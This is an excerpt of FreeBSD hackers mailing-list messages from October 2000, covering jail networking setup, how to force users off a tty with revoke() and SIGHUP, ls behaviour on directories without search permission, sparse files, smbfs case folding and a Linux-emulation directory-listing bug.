problem. > jail# telnet localhost - doesnt work > jail# telnet some address - doesnt work > some host# telnet jail - doesnt work > some host# ping jail - doesnt work (should it?) > > any hint? If you can't ping the jail's IP from another machine, I'd suspect that the IP isn't aliased properly. Here's what I've got setup in /etc/rc.conf: ifconfig_fxp0="inet xxx.xxx.xxx.192 netmask 0xffffff00" ifconfig_fxp0_alias0="inet xxx.xxx.xxx.193 netmask 0xffffffff" ifconfig_fxp0_alias1="inet xxx.xxx.xxx.194 netmask 0xffffff00" ifconfig_fxp0_alias2="inet xxx.xxx.xxx.195 netmask 0xffffff00" route_0="xxx.xxx.xxx.193 -iface lo0" route_1="xxx.xxx.xxx.194 -iface lo0" route_2="xxx.xxx.xxx.195 -iface lo0" (And yes, I know that one of the aliases has a /32 netmask and the other two have a /24 - I was experimenting and there doesn't seem to be a difference) The routes are something I picked up from reading the archives, they allow processes in the jail to communicate with the host (mysql, in my case). Another one that caught me was having /etc/resolv.conf setup properly inside the jail, otherwise things like telnet will sit and spin trying to do hostname lookups. --- Jon Simola | "In the near future - corporate networks Systems Administrator | reach out to the stars, electrons and light ABC Communications | flow throughout the universe." -- GITS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 20:28: 1 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from homer.softweyr.com (bsdconspiracy.net [208.187.122.220]) by hub.freebsd.org (Postfix) with ESMTP id 7ACB537B4C5 for ; Mon, 30 Oct 2000 20:27:51 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 13qSkR-0000Fj-00; Mon, 30 Oct 2000 21:10:07 -0700 Message-ID: <39FE461F.3F47EA7@softweyr.com> Date: Mon, 30 Oct 2000 21:10:07 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Joe Greco Cc: Greg Black , hackers@freebsd.org, ryan@sasknow.com, andrew@ugh.net.au Subject: Re: Logging users out References: <200010302102.PAA81188@aurora.sol.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Joe Greco wrote: > > > > I wrote a little line program to do a revoke(), it was basically > > > > > > int main(int argc, char *argv[]) { revoke(argv[1]); } > > > > > > Now this doesn't kill a darn thing. And you should be aware of it! But it > > > does forcibly "close" any open fd's pointing at the tty in question, and > > > most programs will get the hint and go away. > > > > Not all programs, and that can lead to all sorts of problems > > with processes that never die. There are many stories of this > > happening with vi, for example. > > That's why I said, "most programs". > > > > For some uses, especially predictable uses, this is probably a lot simpler > > > and a lot more foolproof. > > > > Simple: yes. Foolproof: definitely no. > > Uh, well, "foolproof" != "calling ps and awk and grep and looking for > processes". For ANY definition of foolproof. No, but walking the active process table looking for session leaders is not that difficult. In fact, this was the first program I ever wrote on FreeBSD, back on 1.0. Unfortunately, it was a commercial product Axent Technologies never released, but later folded into UNIX Resource Manager that was bought by dozens. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Oct 30 21:34:39 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hand.dotat.at (sfo-gw.covalent.net [207.44.198.62]) by hub.freebsd.org (Postfix) with ESMTP id 5185C37B4CF for ; Mon, 30 Oct 2000 21:34:38 -0800 (PST) Received: from fanf by hand.dotat.at with local (Exim 3.15 #3) id 13qU46-0003eF-00; Tue, 31 Oct 2000 05:34:30 +0000 Date: Tue, 31 Oct 2000 05:34:30 +0000 From: Tony Finch To: Warner Losh Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Who broke "ls" in FreeBSD? and why? Message-ID: <20001031053430.X4137@hand.dotat.at> References: <20001024081136.K1604@puck.firepipe.net> <12367.972372237@winston.osd.bsdi.com> <20001024081136.K1604@puck.firepipe.net> <200010241757.LAA17136@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200010241757.LAA17136@harmony.village.org> Organization: Covalent Technologies, Inc Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh wrote: > >For normal users, ls -a lists all files, not counting . and .., but >for root it does list all files. No, it always lists all files. >ls -A lists all files for normal users, but omits . and .. for root. No, it always lists all files except for "." and "..". -A is on by default for root with most versions of ls, notably not including GNU ls. Tony. -- en oeccget g mtcaa f.a.n.finch v spdlkishrhtewe y dot@dotat.at eatp o v eiti i d. fanf@covalent.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 0:10:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id DC50737B4FE for ; Tue, 31 Oct 2000 00:10:12 -0800 (PST) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id BAA15567; Tue, 31 Oct 2000 01:06:43 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp04.primenet.com, id smtpdAAAVoaOnE; Tue Oct 31 01:06:34 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id BAA27414; Tue, 31 Oct 2000 01:09:30 -0700 (MST) From: Terry Lambert Message-Id: <200010310809.BAA27414@usr02.primenet.com> Subject: Re: Logging users out To: jandrese@mitre.org (Andresen, Jason R.) Date: Tue, 31 Oct 2000 08:09:30 +0000 (GMT) Cc: jgreco@ns.sol.net (Joe Greco), gjb@gbch.net (Greg Black), hackers@FreeBSD.ORG, ryan@sasknow.com, andrew@ugh.net.au In-Reply-To: <39FDE4D7.1020C4B2@mitre.org> from "Andresen,Jason R." at Oct 30, 2000 04:15:03 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Uh, well, "foolproof" != "calling ps and awk and grep and looking for > > processes". For ANY definition of foolproof. > > > > And it is certainly foolproof from the point of view that there's no way > > in hell for the session not to be terminated, unlike some ps garbage I've > > seen. > > Unfortunatly, sometimes when processes suddenly lose stdin/stdout, > they jump into infinate loops and start eating cpu cycles like > crazy. I'd hate to see what happens when you kill off a > significant number of people running these poorly behaved programs. > FVWM95 Taskbars used to be notorious for this, I remember seeing > upwards of a dozen of them vying for CPU time on some lab > machines. This is because the FreeBSD tty revocation code is broken, though in technical compliance with POSIX. The way it's supposed to happen is that "hupcl" (hangup on close) is supposed to be set on the tty, and the signal is supposed to be sent to the process group leader, so it can be trampolined. Being a group signal, not a process signal, it will be delivered to all children of the leader, as well -- just as group signal delivery has been supposed to work for forever. Only by the time it gets there, there aren't any children technically in the group any more. What happens in the revoke code is that effectively, everyone is made into a process group leader, so the SIGHUP to the process group leader is not properly propagated to the other processes in the group. The correct order of operation is to revoke, promote, then signal, which would result in the SIGHUP being delivered to all processes which have not explicitly blocked it. FreeBSD does revoke, signal, then promote, which means the newly promotes processes aren't in the signalled process group by the time the SIGHUP is delivered. Traditional BSD (and UNIX) behaviour actually iteratively did the revocation of the controlling tty on a per process basis, after signal delivery, but the global "revoke" changed things. This change went in during the POSIX-me-harder tournament, early in FreeBSD's infancy. Before it was POSIX-ized, SIGHUP was correctly delivered on hangup to _all_ processes for which the tty was the controlling tty. After it went in, we started having runaway processes, which were then labelled as being "broken" for not noticing that read was returning 0 (which is returned on EOF, but is also returned on perfectly goo non-blocking fds, and in the case that vmin is set to zero to effect a timed poll via vtime). Yeah, I basically replay this broken record any time someone tries to blame the application for not getting out the Ouiji board and trying to contact the dear departed tty, since there are actually people who really do use non-blocking fds and vmin/vtime to do things like user space threads and background computation while waiting for user input. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 0:30:59 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (Postfix) with ESMTP id 2976B37B4CF for ; Tue, 31 Oct 2000 00:30:57 -0800 (PST) Received: (from daemon@localhost) by smtp03.primenet.com (8.9.3/8.9.3) id BAA24376; Tue, 31 Oct 2000 01:29:07 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp03.primenet.com, id smtpdAAA1gaOIV; Tue Oct 31 01:28:57 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id BAA27815; Tue, 31 Oct 2000 01:30:41 -0700 (MST) From: Terry Lambert Message-Id: <200010310830.BAA27815@usr02.primenet.com> Subject: Re: Logging users out To: andrew@ugh.net.au Date: Tue, 31 Oct 2000 08:30:41 +0000 (GMT) Cc: ryan@sasknow.com (Ryan Thompson), freebsd-hackers@FreeBSD.ORG In-Reply-To: from "andrew@ugh.net.au" at Oct 30, 2000 08:53:27 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Why not just kill their controlling shell? > > I believe that what I'm doing...the "controlling shell" would be the > session leader. The question is how to get its PID. Grovel the tty structure using libkvm. You want to look for: (struct tty *)->t_pgrp->pg_id Which is the process ID of the group leader of the foregroun group. Or you could just make revoke do its thing in the right order instead of the wrong order, since a program with non-blocking fds (read: any threads program) would have to be clairvoyant (or check every time by trying to open /dev/tty, and noting when that failed). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 0:47:51 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id B307137B4C5 for ; Tue, 31 Oct 2000 00:47:47 -0800 (PST) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id BAA03606; Tue, 31 Oct 2000 01:44:30 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp04.primenet.com, id smtpdAAAdda49g; Tue Oct 31 01:44:26 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id BAA28086; Tue, 31 Oct 2000 01:47:38 -0700 (MST) From: Terry Lambert Message-Id: <200010310847.BAA28086@usr02.primenet.com> Subject: Re: Filesystem holes To: dillon@earth.backplane.com (Matt Dillon) Date: Tue, 31 Oct 2000 08:47:38 +0000 (GMT) Cc: ryan@sasknow.com (Ryan Thompson), freebsd-hackers@FreeBSD.ORG In-Reply-To: <200010300316.e9U3GiP72404@earth.backplane.com> from "Matt Dillon" at Oct 29, 2000 07:16:44 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Ahh.. yes, I know. I'm a filesystem expert :-) However, that said, I > will tell you quite frankly that virtually *nobody* depends on holes > for efficient storage. There are only a few problems where it's > practical.... some forms of executables, and sparse matrixes. That's > pretty much it. Your master password database. Most sendmail maps. Anything else that uses the Berkeley DB, like message catalog files, locales, etc.. Frankly, sparse files have a huge number of uses, particularly when applied to persistant storage of data of the kind you'd see in chapter 5, section 5.4.x and chapter 6 in Knuth's. Plus your FFS filesystem itself is a sparse matrix. It'd be real useful to be able to "free up holes" in a file, if I wanted to use one to do user space work on an FS design, for example, a log structured FS, where I wanted to be able to experiment with a "cleaner" process that recovered extents. I'd actually be able to tell real quickly whether it was working by just setting an allocation range that I expect my iterative testing to stay within (if it goes over or under the range while I'm moving stuff around and cleaning at the same time, I'll know there's a bug in my daemon). Personally, I'm not rich enough to be able to burn disk space so easily. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 1: 7:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id 10F6637B479 for ; Tue, 31 Oct 2000 01:07:50 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9V97mk17233; Tue, 31 Oct 2000 01:07:48 -0800 (PST) (envelope-from dillon) Date: Tue, 31 Oct 2000 01:07:48 -0800 (PST) From: Matt Dillon Message-Id: <200010310907.e9V97mk17233@earth.backplane.com> To: Terry Lambert Cc: ryan@sasknow.com (Ryan Thompson), freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes References: <200010310847.BAA28086@usr02.primenet.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :> Ahh.. yes, I know. I'm a filesystem expert :-) However, that said, I :> will tell you quite frankly that virtually *nobody* depends on holes :> for efficient storage. There are only a few problems where it's :> practical.... some forms of executables, and sparse matrixes. That's :> pretty much it. : :Your master password database. Most sendmail maps. Anything :else that uses the Berkeley DB, like message catalog files, :locales, etc.. Actually less then you think. Even though DB utilizes the concept of a sparse file, if you check carefully you will note that your sendmail maps and password file databases aren't actually all that sparse. With an 8K filesystem block size the default DB multiplier usually results in virtually no sparseness at all. It takes tuning to get any sort of sparseness and even then you don't get much benefit from it. The only real benefit is in the hash table size factor ... the hash array may be sparse, but the physical file underlying it probably isn't. Not even USENET news history files, which can run into the gigabytes, actually wind up being that sparse. Also keep in mind that Berkeley DB is very old, even with all the rewrites, and the original hash algorithm was chosen for expediency rather then for the 'best' efficiency. Our current DB library has a btree access method, and for big data sets it works a whole lot better then the hash method. It doesn't require tuning, for one. :Frankly, sparse files have a huge number of uses, particularly :when applied to persistant storage of data of the kind you'd :see in chapter 5, section 5.4.x and chapter 6 in Knuth's. : :Plus your FFS filesystem itself is a sparse matrix. It'd be :real useful to be able to "free up holes" in a file, if I :wanted to use one to do user space work on an FS design, for :example, a log structured FS, where I wanted to be able to :experiment with a "cleaner" process that recovered extents. : :I'd actually be able to tell real quickly whether it was :working by just setting an allocation range that I expect :my iterative testing to stay within (if it goes over or under :the range while I'm moving stuff around and cleaning at the :same time, I'll know there's a bug in my daemon). : :Personally, I'm not rich enough to be able to burn disk space :so easily. : Terry Lambert : terry@lambert.org I agree that sparse files should not be discarded out of hand. There are very few real problems that need them though. I can think of a handful, all very specialized.... for example, the VN device uses the concept of a sparse-file (actually a sparse backing for the filesystem layer), as do Kirk's softupdates snapshots (I believe). Sparse matrixes are the big math problem that benefit, but only because the solution to a sparse matrix problem is not even close to random so the sparse matrix winds up still being sparse all the way to the end of the solution. But these are extremely specialized problems, not general datastore problems, and nearly all of these problems are tuned (or inherently) specific to the block size of the underlying system. Using a sparse file for general data store just isn't all that hot an idea, because by its very nature data store is, well, storing data. Packing it is usually the way to go. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 1:14:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (Postfix) with ESMTP id 172F137B4CF; Tue, 31 Oct 2000 01:14:46 -0800 (PST) Received: (from daemon@localhost) by smtp03.primenet.com (8.9.3/8.9.3) id CAA02989; Tue, 31 Oct 2000 02:12:56 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp03.primenet.com, id smtpdAAAPDaG0f; Tue Oct 31 02:12:52 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id CAA28652; Tue, 31 Oct 2000 02:14:36 -0700 (MST) From: Terry Lambert Message-Id: <200010310914.CAA28652@usr02.primenet.com> Subject: Re: smbfs-1.3.0 released To: bp@butya.kz (Boris Popov) Date: Tue, 31 Oct 2000 09:14:35 +0000 (GMT) Cc: tlambert@primenet.com (Terry Lambert), cdillon@wolves.k12.mo.us (Chris Dillon), malachai@iname.com (Shawn Halpenny), freebsd-hackers@FreeBSD.ORG, freebsd-fs@FreeBSD.ORG In-Reply-To: from "Boris Popov" at Oct 28, 2000 09:14:09 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > The difference is that if you are iterating and comparing in > > user space, you will get a failure, but if you are doing an > > explicit VOP_LOOKUP in kernel space, the case folding will work. > > Hmm, why ? UNIX globbing occurs in user space. Windows globbing, like VMS globbing, happens in the kernel. This means that if something is case sensitive on storage but case insensitive on lookup, an iteration using VOP_READDIR can get names that VOP_LOOKUP will be able to find, but that VOP_READDIR won't match, since the matching rules aren't applied in kernel space. This means that things like renames: touch foo fee mv foo Test mv fee test will fail to do the right thing. The only way you can really support case insensitivity on lookup is to move the globbing into the kernel, so that an iteration over the directory does the right thing. Or you could modify all your applications to treat such FSs differently. > > I think that if you disable the attempted case folding in the > > SMBFS VOP_LOOKUP code, your problem will go away. > > Not exactly so - case sensitivity depends on server, for most > servers ls /A and ls /a are the same, but NT have strange behavior for > root directory and not all directories are case insensitive. The problem is that thee's really no way to support insensitive lookup correctly through the iterative interface, when doing globbing. It doesn't matter if your application is "ls" or it's "StarOffice". You would still need a contract between the case insensitive on lookup FS, and the code doing the globbing (in this case, in user space). > > NB: Another approach would be to fold everything to lower case > > in both VOP_LOOKUP and VOP_READDIR; this could be accomplished > > using a mount option. If you wanted to be more Windows-like, > > you could make the first letter upper case, and subsequent > > letters lower case. > > I'm unsure if this correct, because long file names used on > windows platform may have more than one upper case letter (Program Files > for example). This is for the legacy stuff, not things like "Program Files". Windows 95's client will "fake up" case, if it's talking to a monocase server, by capitalizing the first letter. > No, this is not related. The same things will happen on all SMB > requests if server dropped the connection and it seems to be fixed in the > upcoming smbfs-1.3.1. On a side note I'm unsure why NT server drops the > connection if client doesn't send any request in XX minutes (for > example Samba uses NetBIOS keepalive packets). You might want to ask Jeremy Allison about this, I'm pretty sure he would know. It's probably a "feature" based on the protocol rev you are talking to the server. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 1:49:40 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id E332B37B4CF for ; Tue, 31 Oct 2000 01:49:34 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id DAA30853; Tue, 31 Oct 2000 03:49:43 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Tue, 31 Oct 2000 03:49:43 -0600 (CST) From: Ryan Thompson To: "Jose M. Alcaide" Cc: hackers@FreeBSD.ORG Subject: Re: Who broke "ls" in FreeBSD? and why? In-Reply-To: <39F6AC8D.542149FC@we.lc.ehu.es> Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Woo.. Trimmed the CC list on this one. Didn't catch the last one. Sorry! :-) Jose M. Alcaide wrote to Sean Lutner and hackers@FreeBSD.ORG: > Sean Lutner wrote: > > > > I may just be being naive here, which is why I took this off the list. I > > don't understand how a directory that is a-x will not let you run ls -l on > > it. It won't, because in order to generate a listing of filenames in the directory, you must have read access to that directory. To run ls -l, both read AND search are required, as you must be able to a) get a list of files, b) map those files to inodes (to return size, link and date information, etc) > > As you can see, after changing the permissions, you cannot run ls -l as > > you could before. Perhaps I don't have the broken version, or there is > > something I am missing. At any rate, a better understanding would be nice. > > What broken version? :-) > If a directory does not have search permission, the i-node contents of > each of its entries cannot be examined. Under these circumstances, > the directory listing "per se" does not fail, but the information > requested cannot be shown. For example, in Solaris (and in SunOS 4.x): > > $ ls -ld Test/ > drw-r----- 2 jose lsi 512 oct 25 11:13 Test/ > $ ls Test > 1 2 3 > $ ls -i Test > 288799 1 288800 2 288801 3 > $ ls -l Test > Test/1: Permission denied > Test/2: Permission denied > Test/3: Permission denied > total 0 > $ > > Anyway, I found something interesting: the bash shell is involved > in some way: > > Using bash: When you use wildcard expansion, the shell is definitely involved. Remember it is the shell, not ls, that expands wildcards. > > $ mkdir Test > $ touch Test/{1,2,3} > $ chmod a-x Test > $ ls Test && echo SUCCESS > SUCCESS <------ WRONG!! > $ /bin/ls Test && echo SUCCESS > 1 2 3 <------ This works as expected (?!?!??) What sort of shell functions/aliases do you have defined in bash? Looks like ls is possibly aliased to something. (Possibly with different command line arguments to /bin/ls). > Using [t]csh: > > $ csh > %ls -ld Test > drw------- 2 jose lsi 512 25 oct 10:49 Test > %ls Test > 1 2 3 <------ This works as expected > %ls -i Test <------ WRONG!! > %which ls > /bin/ls > % > Why not call /bin/ls explicitly in your examples, to remove the inherent ambiguity? > Using both bash and csh, 'ls -i' and 'ls -l' give nothing and > don't return any error when the directory does not have search permission. > "ls -i" should work, since getdirentries(2) only requires that > the directory must be opened for reading. The behavior of "ls -l" may > be a subject for discussion. "Opened for reading" is different than "has execute (search) permission". The two can be independent. Even still, I don't see where getdirentries(2) "only requires the directory must be open for reading". If that IS the case, then the -doc people have a change to commit :-) Search permission is required to map pathnames to inodes. That's a requirement of the kernel (and, consequently, of kernel calls) for normal users. > Cheers, > -- JMA > ****** Jose M. Alcaide // jose@we.lc.ehu.es // jmas@FreeBSD.org ****** > ** "Beware of Programmers who carry screwdrivers" -- Leonard Brandwein ** > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 1:50:31 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 149B537B4D7 for ; Tue, 31 Oct 2000 01:50:28 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id DAA32024; Tue, 31 Oct 2000 03:53:38 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Tue, 31 Oct 2000 03:53:37 -0600 (CST) From: Ryan Thompson To: "Jose M. Alcaide" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Who broke "ls" in FreeBSD? and why? In-Reply-To: <39F6203D.123CCE95@we.lc.ehu.es> Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jose M. Alcaide wrote to Warner Losh: > Speaking of ls(1)... > > $ mkdir Arghh > $ touch Arghh/{one,two,three} > $ ls Arghh > one three two > $ chmod a-x Arghh > $ ls Arghh && echo SUCCESS > SUCCESS > $ ls -l Arghh && echo SUCCESS > SUCCESS > > ARGGGGHHHHH!!!! :-) > > This is not the expected behavior. If a directory does not have > search permission, but it has read permission, a plain "ls" (or "ls -i") > should list its contents, while "ls -l" should fail. And still worse, > when ls fails to list the non-searchable directory contents, it > does _not_ return an error code. It's late... And I'm tired... But isn't that backwards? "Search" (i.e., execute) permission on a directory implies that the directory can be included as part of a directory search. In other words, mapping to inodes is provided, but obtaining a list of files in the directory is NOT. This is used by system administrators to "hide" a directory of files, but still grant access to them if they are named explicitly. "Read" permission on a directory means that the directory can be listed. Thus, if a directory has read permission, you can list the contents of it. Permutations of directory permissions (ignoring write): read and execute (Normal) Can get a listing of files, and inodes for each file So, files within the dir can be opened. read, no execute Can get a listing of filenames only. Can't actually map filenames to inodes, so no open, ls -l, ls -li, etc. execute, no read Can't get a listing of filenames, but if you know the filename in question, you can map it to an inode. So, ls Arghh will never work (as it has to read the directory to get the list of files!), but ls -l Arghh/one *will* work, as it does not need to SEARCH to discover the name of the file called "one". no read, no execute No service! :-) FreeBSD's behaviour is as correct as the behaviour of any other UNIX variant that I am aware of. The problem is not with ls. See my response to your next post (I'll have to type it, first ;-) Hope this helps, - Ryan -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Oct 31 1:54:49 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (Postfix) with ESMTP id 73DED37B4C5 for ; Tue, 31 Oct 2000 01:54:45 -0800 (PST) Received: (from daemon@localhost) by smtp03.primenet.com (8.9.3/8.9.3) id CAA14655; Tue, 31 Oct 2000 02:52:56 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp03.primenet.com, id smtpdAAANQaGFC; Tue Oct 31 02:52:45 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id CAA29192; Tue, 31 Oct 2000 02:54:23 -0700 (MST) From: Terry Lambert Message-Id: <200010310954.CAA29192@usr02.primenet.com> Subject: Re: dir-listing bug in linux-emulation To: peter.edwards@openet-telecom.com (Peter Edwards) Date: Tue, 31 Oct 2000 09:54:23 +0000 (GMT) Cc: tpnelson@echidna.stu.cowan.edu.au (Trent Nelson), d.d.v.deijk@student.tue.nl (David van Deijk), freebsd-hackers@FreeBSD.ORG In-Reply-To: <39FAF500.526FFD69@openet-telecom.com> from "Peter Edwards" at Oct 28, 2000 04:47:12 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi, > Here's a patch that fixes the problem for me. can someone review and > possibly commit it? > > Here's my understanding: > > The data returned by VOP_READDIR is not neccessarily the same as that > consumed from the directory vnode. > > linux_getdents fills in a "doff" field in the linux_dirent structure > using the offset from the start of the read data rather than the offset > in the directory vnode that produced that directory entry. > > Then, rather than continuing where it left off, the linux "ls" command > uses this as an offset to seek to before the next time it calls > linux_getdents, (actually seeking back over data it's already read, for > some reason). This is standard incremental backoff behaviour. When you get directory data out of a directory using getdents(2), you pass it a buffer to copy data out into. The way this works is that the data is externalized in a format thats documented in dirent.h; this happens to match that of the struct direct in /sys/ufs/ufs/dir.h; for Linux, this is not true. Because the directory entries are translated on copyout for the Linux programs so that they see their native format, that means you can end up with more or less entries copied out, depending on the relative size of the on disk directory entry, and the Linux representation. Generally, I think the Linux stuff is actually smaller or the same size. If so, then there's only a problem when the return buffer is smaller than 512b. Now here's the problem. It seems that a partial directory block is being scanned and copied out. What this means is that it's going to want to restart the scan. Since the directory entry blocks copied to user space are just "snapshots", and another process could go in and change the block so that it was different from the copy, the code doesn't trust that that's not happened, when it's asked to seek to a non-directory entry block aligned boundary. So what it's supposed to do in the incremental backoff strategy, is to back off to the start of the partial block, and read forward, to verify that the boundary is actually the start of a valid directory entry block. It had to do this, since if the file that was there was deleted, the deletion would have been accomplished by adding the entry to the actual allocation size of the record immediately prior to it. So all it's trying to do is ensure that the record will be valid, rather than being a phantom of a now deleted file. This is actually a little more complicated, since the block may also have been coalesced since the last time the process read it. If that's happened (due to an allocation of an entry after the coelesce space), then the correct action is to read the entry one back, and return it, since it was coelesced back from the end. Worst case, this will result in a duplicate display entry; it's the job of the user space program to do the duplicate elimination. Really, it would probably be most correct to "short change" the caller on the entries returned, and use only precisely increments of even directory entry blocks. This will eliminate the restart problem, unless the Linux program calling the getdents() gives you too small a buffer -- this is unlikely, since the minimum it is required to give you is enough to return one record with the largest possible name, plus other returned directory data, like the inode number, flags, and so on, which live in the entry. In any case, it's legal for your system call to complain that the buffer is too small, and refuse to return data unless given a bigger buffer. In practice, I think you'll find that this will never happen, since the Linux people aren't any more fond of restarting in the middle of a directory block than anyone who doesn't want to deal with duplicate suppression and possibly stale data. The cookie interface was really put in there for NFS, and as you can see above, it wasn't really necessary to put it in. To get around the potential consumer/provider buffer size mismatch, NFS could have used the incremental backoff strategy, and been exactly as reliable in its one-at-a-time directory entry reading as it is with the cookie approach. A more ideal interface would seperate the lookup from the data externalization process, which would let the FS _always_ return some multiple of directory entry block size for whatever the underlying FS was, and then externalize it into a user buffer with another VOP which took the FS specific data, and copied it out into the user visible format in the user's buffer. This would have the advantage of being able to cache FS specific format 